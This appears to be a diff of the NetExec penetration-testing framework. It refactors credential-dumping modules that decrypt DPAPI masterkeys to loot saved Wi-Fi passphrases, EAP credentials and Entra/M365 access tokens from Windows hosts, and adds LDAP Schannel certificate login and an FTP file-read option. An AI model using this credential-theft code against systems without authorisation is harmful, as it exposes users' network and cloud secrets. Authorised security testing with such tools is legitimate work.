domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
|
||||
context.log.success("Looting Token Broker Cache access tokens")
|
||||
|
||||
def token_callback(token):
|
||||
for attrib in token.attribs:
|
||||
@@ -58,10 +31,10 @@ class NXCModule:
|
||||
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
|
||||
if "preferred_username" in decoded_token:
|
||||
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
|
||||
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
|
||||
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", self.context.log)
|
||||
|
||||
try:
|
||||
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
|
||||
triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
|
||||
triage.triage_wam()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot access tokens: {e}")
|
||||
+10
-35
@@ -1,54 +1,29 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.wifi import WifiTriage
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "wifi"
|
||||
description = "Get key of all wireless interfaces"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
|
||||
masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=False, dump_system=True)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces")
|
||||
context.log.success("Looting Wifi interfaces")
|
||||
|
||||
try:
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
|
||||
wifi_triage = WifiTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=masterkeys)
|
||||
wifi_creds = wifi_triage.triage_wifi()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error while looting wifi: {e}")
|
||||
@@ -57,16 +32,16 @@ class NXCModule:
|
||||
context.log.highlight(f"[OPEN] {wifi_cred.ssid}")
|
||||
elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
|
||||
try:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}")
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}", self.context.log)
|
||||
except Exception:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
|
||||
elif wifi_cred.auth.upper() in ["WPA", "WPA2"]:
|
||||
try:
|
||||
if self.eap_username is not None and self.eap_password is not None:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}")
|
||||
if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None:
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}", self.context.log)
|
||||
else:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}", self.context.log)
|
||||
except Exception:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
|
||||
else:
|
||||
context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|
||||
+5
-1
@@ -104,6 +104,10 @@ def main():
|
||||
nxc_logger.fail("Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
|
||||
exit(1)
|
||||
|
||||
if args.protocol == "ldap" and args.schannel and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
|
||||
nxc_logger.fail("--schannel requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
|
||||
exit(1)
|
||||
|
||||
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
|
||||
nxc_logger.error("KRB5CCNAME environment variable is not set")
|
||||
exit(1)
|
||||
@@ -197,7 +201,7 @@ def main():
|
||||
proto_module_paths.append(modules[m]["path"])
|
||||
protocol_object.module_paths = proto_module_paths
|
||||
|
||||
if args.protocol == "rdp" and args.execute:
|
||||
if args.protocol == "rdp" and (args.execute or args.ps_execute):
|
||||
ans = input(highlight("[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n] ", "red"))
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
|
||||
+14
-29
@@ -40,6 +40,17 @@ def write_csv(filename, headers, entries):
|
||||
csv_file.writerow(entry)
|
||||
|
||||
|
||||
def host_csv_headers(hosts_table, mode="simple"):
|
||||
"""Return the CSV header for a hosts export, taken from the protocol's own HostsTable.
|
||||
|
||||
"simple" keeps the first 8 columns, the historical width of the SMB export, "detailed" returns them all.
|
||||
"""
|
||||
columns = tuple(col.name for col in hosts_table.columns)
|
||||
if mode == "detailed":
|
||||
return columns
|
||||
return columns[:8]
|
||||
|
||||
|
||||
def write_list(filename, entries):
|
||||
"""Writes a file with a simple list"""
|
||||
with open(os.path.expanduser(filename), "w") as export_file:
|
||||
@@ -169,39 +180,13 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
print("[-] invalid arguments, export hosts <simple|detailed|signing> <filename>")
|
||||
return
|
||||
|
||||
csv_header_simple = (
|
||||
"id",
|
||||
"ip",
|
||||
"hostname",
|
||||
"domain",
|
||||
"os",
|
||||
"dc",
|
||||
"smbv1",
|
||||
"signing",
|
||||
)
|
||||
csv_header_detailed = (
|
||||
"id",
|
||||
"ip",
|
||||
"hostname",
|
||||
"domain",
|
||||
"os",
|
||||
"dc",
|
||||
"smbv1",
|
||||
"signing",
|
||||
"spooler",
|
||||
"zerologon",
|
||||
"petitpotam",
|
||||
)
|
||||
filename = line[2]
|
||||
|
||||
if line[1].lower() == "simple":
|
||||
hosts = self.db.get_hosts()
|
||||
simple_hosts = [host[:8] for host in hosts]
|
||||
write_csv(filename, csv_header_simple, simple_hosts)
|
||||
# TODO: maybe add more detail like who is an admin on it, shares discovered, etc
|
||||
csv_header = host_csv_headers(self.db.HostsTable, "simple")
|
||||
write_csv(filename, csv_header, [host[: len(csv_header)] for host in self.db.get_hosts()])
|
||||
elif line[1].lower() == "detailed":
|
||||
hosts = self.db.get_hosts()
|
||||
write_csv(filename, csv_header_detailed, hosts)
|
||||
write_csv(filename, host_csv_headers(self.db.HostsTable, "detailed"), self.db.get_hosts())
|
||||
elif line[1].lower() == "signing":
|
||||
hosts = self.db.get_hosts("signing")
|
||||
signing_hosts = [host[1] for host in hosts]
|
||||
|
||||
+38
-10
@@ -1,15 +1,16 @@
|
||||
from io import BytesIO
|
||||
import os
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.logger import NXCAdapter
|
||||
from ftplib import FTP, error_perm
|
||||
from ftplib import FTP, error_perm, error_temp
|
||||
|
||||
|
||||
class ftp(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.protocol = "FTP"
|
||||
self.remote_version = None
|
||||
self.welcome_banner = ""
|
||||
|
||||
super().__init__(args, db, host)
|
||||
|
||||
@@ -26,11 +27,12 @@ class ftp(connection):
|
||||
def enum_host_info(self):
|
||||
welcome = self.conn.getwelcome()
|
||||
self.logger.debug(f"Welcome result: {welcome}")
|
||||
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
|
||||
self.logger.debug(f"Remote version: {self.remote_version}")
|
||||
for line in welcome.splitlines():
|
||||
self.welcome_banner += line.split("220", 1)[1].strip() # strip out the extra space in the front
|
||||
self.logger.debug(f"Remote version: {self.welcome_banner}")
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"Banner: {self.remote_version}")
|
||||
self.logger.display(f"Banner: {self.welcome_banner}")
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.conn = FTP()
|
||||
@@ -50,13 +52,12 @@ class ftp(connection):
|
||||
self.logger.debug(f"Response: {resp}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
|
||||
self.conn.close()
|
||||
return False
|
||||
|
||||
# 230 is "User logged in, proceed" response, ftplib raises an exception on failed login
|
||||
if "230" in resp:
|
||||
self.logger.debug(f"Host: {self.host} Port: {self.port}")
|
||||
self.db.add_host(self.host, self.port, self.remote_version)
|
||||
self.db.add_host(self.host, self.port, self.welcome_banner)
|
||||
|
||||
cred_id = self.db.add_credential(username, password)
|
||||
|
||||
@@ -101,8 +102,9 @@ class ftp(connection):
|
||||
self.put_file(self.args.put[0], self.args.put[1])
|
||||
|
||||
if not self.args.continue_on_success:
|
||||
self.conn.close()
|
||||
return True
|
||||
|
||||
def disconnect(self):
|
||||
self.conn.close()
|
||||
|
||||
def list_directory_full(self):
|
||||
@@ -115,6 +117,10 @@ class ftp(connection):
|
||||
self.logger.fail(f"Failed to list directory. Response: ({error_message})")
|
||||
self.conn.close()
|
||||
return False
|
||||
except error_temp as e:
|
||||
self.logger.fail(e)
|
||||
self.conn.close()
|
||||
return False
|
||||
return files
|
||||
|
||||
def get_file(self, filename):
|
||||
@@ -125,8 +131,6 @@ class ftp(connection):
|
||||
if self.conn.encoding == "utf-8":
|
||||
# Switch the connection to binary
|
||||
self.conn.sendcmd("TYPE I")
|
||||
# Check if the file exists
|
||||
self.conn.size(filename)
|
||||
# Attempt to download the file
|
||||
with open(downloaded_file, "wb") as f:
|
||||
self.conn.retrbinary(f"RETR {filename}", f.write)
|
||||
@@ -161,6 +165,30 @@ class ftp(connection):
|
||||
else:
|
||||
self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
|
||||
|
||||
def cat(self):
|
||||
# Extract the filename from the path
|
||||
remote_file = self.args.cat
|
||||
try:
|
||||
# Check if the current connection is ASCII (ASCII does not support .size())
|
||||
if self.conn.encoding == "utf-8":
|
||||
# Switch the connection to binary
|
||||
self.conn.sendcmd("TYPE I")
|
||||
# Attempt to get the file content
|
||||
buf = BytesIO()
|
||||
self.conn.retrbinary(f"RETR {remote_file}", buf.write)
|
||||
except error_perm as error_message:
|
||||
self.logger.fail(f"Failed to get file content. Response: ({error_message})")
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
self.logger.fail("Failed to get file content. Response: (No such file or directory.)")
|
||||
return False
|
||||
|
||||
try:
|
||||
for line in buf.getvalue().decode().splitlines():
|
||||
self.logger.highlight(line)
|
||||
except UnicodeDecodeError as e:
|
||||
self.logger.fail(f"File is not in UTF-8: {e}")
|
||||
|
||||
def supported_commands(self):
|
||||
raw_supported_commands = self.conn.sendcmd("HELP")
|
||||
supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist]
|
||||
|
||||
@@ -7,6 +7,7 @@ def proto_args(parser, parents):
|
||||
|
||||
cgroup = ftp_parser.add_argument_group("File Operations")
|
||||
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List all files (including hidden) in the directory")
|
||||
cgroup.add_argument("--cat", metavar="FILE", help="Display the contents of a file. Example: --cat /path/to/file")
|
||||
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
|
||||
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
|
||||
return parser
|
||||
+89
-48
@@ -41,7 +41,8 @@ from impacket.ntlm import getNTLMSSPType1
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
|
||||
from nxc.helpers.pfx import certificate_options
|
||||
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument, sanitize_dns
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
@@ -65,6 +66,9 @@ ldap_error_status = {
|
||||
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
|
||||
}
|
||||
|
||||
# LDAP authenticationChoice sent to the DC, as displayed to the operator
|
||||
auth_methods = {"sasl": "NTLM", "simple": "SIMPLE bind", "external": "Schannel"}
|
||||
|
||||
|
||||
class ldap(connection):
|
||||
def __init__(self, args, db, host):
|
||||
@@ -133,25 +137,20 @@ class ldap(connection):
|
||||
return True
|
||||
|
||||
def get_ldap_username(self):
|
||||
extended_request = ldapasn1_impacket.ExtendedRequest()
|
||||
extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami
|
||||
|
||||
response = self.ldap_connection.sendReceive(extended_request)
|
||||
for message in response:
|
||||
search_result = message["protocolOp"].getComponent()
|
||||
if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
|
||||
response_value = search_result["responseValue"]
|
||||
if response_value.hasValue():
|
||||
value = response_value.asOctets().decode(response_value.encoding)[2:]
|
||||
return value.split("\\")[1]
|
||||
return ""
|
||||
try:
|
||||
# impacket returns the raw RFC 4532 identity, "u:DOMAIN\user" on a DC
|
||||
return self.ldap_connection.whoami().split("\\")[-1]
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
self.logger.debug(f"LDAP whoami request failed: {e}")
|
||||
return ""
|
||||
|
||||
def check_ldap_signing(self):
|
||||
self.signing_required = False
|
||||
self.signing_required = None
|
||||
ldap_url = f"ldap://{self.target}"
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout)
|
||||
ldap_connection.login(domain=self.domain)
|
||||
self.signing_required = False
|
||||
self.logger.debug(f"LDAP signing is not enforced on {self.host}")
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
@@ -159,6 +158,8 @@ class ldap(connection):
|
||||
self.signing_required = True
|
||||
else:
|
||||
self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}")
|
||||
except OSError as e:
|
||||
self.logger.debug(f"Connection error while checking LDAP signing on {self.host}: {e!s}")
|
||||
|
||||
def check_ldaps_cbt(self):
|
||||
self.cbt_status = "Never"
|
||||
@@ -185,6 +186,7 @@ class ldap(connection):
|
||||
self.cbt_status = "When Supported" # CBT is When Supported
|
||||
else:
|
||||
self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}")
|
||||
self.cbt_status = "Unknown"
|
||||
except SysCallError as e:
|
||||
self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}")
|
||||
if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]:
|
||||
@@ -222,13 +224,13 @@ class ldap(connection):
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}")
|
||||
|
||||
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
self.target = target
|
||||
self.targetDomain = target_domain
|
||||
self.target = sanitize_dns(target or self.host, self.logger)
|
||||
self.targetDomain = sanitize_dns(target_domain or (target.split(".", 1)[1] if "." in target else target), self.logger)
|
||||
self.baseDN = base_dn
|
||||
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
|
||||
# Parse hostname and remoteName
|
||||
self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target
|
||||
self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger)
|
||||
self.remoteName = self.target
|
||||
|
||||
# Parse NTLM challenge
|
||||
@@ -283,7 +285,12 @@ class ldap(connection):
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.debug("Printing host info for LDAP")
|
||||
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"])
|
||||
if self.signing_required is True:
|
||||
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"])
|
||||
elif self.signing_required is False:
|
||||
signing = colored("signing:None", host_info_colors[1], attrs=["bold"])
|
||||
else:
|
||||
signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"])
|
||||
cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"])
|
||||
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
|
||||
|
||||
@@ -334,7 +341,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using Kerberos")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
@@ -393,7 +400,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using Kerberos")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
@@ -451,21 +458,42 @@ class ldap(connection):
|
||||
hash_asreproast.write(f"{hash_tgt}\n")
|
||||
return False
|
||||
|
||||
cert_options = {}
|
||||
cert_tmp_file = None
|
||||
if self.args.schannel:
|
||||
try:
|
||||
cert_options, cert_tmp_file = certificate_options(self.args)
|
||||
except (OSError, ValueError) as e:
|
||||
self.logger.fail(f"Failed to load the certificate material: {e}")
|
||||
return False
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
|
||||
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
authentication_choice = "external" if self.args.schannel else self.auth_choice
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using {auth_methods[authentication_choice]}")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout, **cert_options)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=authentication_choice)
|
||||
|
||||
# Prepare success credential text
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
if self.args.schannel:
|
||||
# The certificate is mapped to an account server-side, so whoami is the only way to know who we are
|
||||
netbios_domain, _, self.username = self.ldap_connection.whoami().removeprefix("u:").partition("\\")
|
||||
# The mapped account can belong to another domain of the forest, and whoami only returns its NetBIOS domain name
|
||||
cross_ref = parse_result_attributes(self.search(f"(&(objectClass=crossRef)(nETBIOSName={netbios_domain}))", ["dnsRoot"], baseDN=f"CN=Partitions,{self.configuration_context}"))
|
||||
self.domain = cross_ref[0]["dnsRoot"] if cross_ref else netbios_domain
|
||||
|
||||
self.check_if_admin()
|
||||
|
||||
# A certificate bind has no secret to store, the account comes from the certificate mapping
|
||||
if not self.args.schannel:
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
|
||||
used_certificate = " from certificate" if self.args.schannel else f":{process_secret(self.password)}"
|
||||
self.logger.success(f"{self.domain}\\{self.username}{used_certificate} {self.mark_pwned()}")
|
||||
|
||||
if self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
@@ -473,6 +501,13 @@ class ldap(connection):
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if self.args.schannel:
|
||||
# The error mapping below reads NTLM status codes, which a certificate bind never returns
|
||||
if "did not receive any credentials via TLS" in str(e) or "connection is anonymous" in str(e):
|
||||
self.logger.fail("Schannel authentication failed: the DC did not map the certificate to an account")
|
||||
else:
|
||||
self.logger.fail(f"Schannel authentication failed: {e}")
|
||||
return False
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
|
||||
if self.args.simple_bind:
|
||||
@@ -486,7 +521,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using {auth_methods[self.auth_choice]}")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
|
||||
self.check_if_admin()
|
||||
@@ -517,6 +552,9 @@ class ldap(connection):
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
return False
|
||||
finally:
|
||||
if cert_tmp_file and os.path.exists(cert_tmp_file):
|
||||
os.remove(cert_tmp_file)
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
@@ -553,7 +591,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
@@ -579,7 +617,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
@@ -622,7 +660,7 @@ class ldap(connection):
|
||||
resp = self.search(search_filter, attributes, baseDN=self.baseDN)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache) and self.username != "":
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache or self.args.schannel) and self.username != "":
|
||||
for item in resp_parsed:
|
||||
self.sid_domain = "-".join(item["objectSid"].split("-")[:-1])
|
||||
|
||||
@@ -931,8 +969,7 @@ class ldap(connection):
|
||||
resp_parse = parse_result_attributes(resp)
|
||||
for item in resp_parse:
|
||||
if "dNSHostName" in item: # Get dNSHostName attribute
|
||||
name = item["dNSHostName"]
|
||||
resolve_and_display_hostname(name)
|
||||
resolve_and_display_hostname(item["dNSHostName"])
|
||||
|
||||
# Find all trusted domains
|
||||
self.logger.info("Enumerating Trusted Domains...")
|
||||
@@ -1216,22 +1253,21 @@ class ldap(connection):
|
||||
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
|
||||
try:
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
except LDAPFilterSyntaxError as e:
|
||||
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
|
||||
return
|
||||
for idx, entry in enumerate(resp_parsed):
|
||||
if not isinstance(resp[idx], ldapasn1_impacket.SearchResultEntry):
|
||||
idx += 1 # Skip non-entry responses
|
||||
self.logger.success(f"Response for object: {resp[idx]['objectName']}")
|
||||
for attribute in entry:
|
||||
if isinstance(entry[attribute], list) and entry[attribute]:
|
||||
# A search response also holds SearchResultReference objects, which carry no attributes and must not be indexed like an entry.
|
||||
entries = [item for item in resp if isinstance(item, ldapasn1_impacket.SearchResultEntry)]
|
||||
for entry, attribute_map in zip(entries, parse_result_attributes(entries), strict=True):
|
||||
self.logger.success(f"Response for object: {entry['objectName']}")
|
||||
for attribute, value in attribute_map.items():
|
||||
if isinstance(value, list) and value:
|
||||
# Display first item in the same line as attribute
|
||||
self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}")
|
||||
for item in entry[attribute]:
|
||||
self.logger.highlight(f"{attribute:<20} {value.pop(0)}")
|
||||
for item in value:
|
||||
self.logger.highlight(f"{'':<20} {item}")
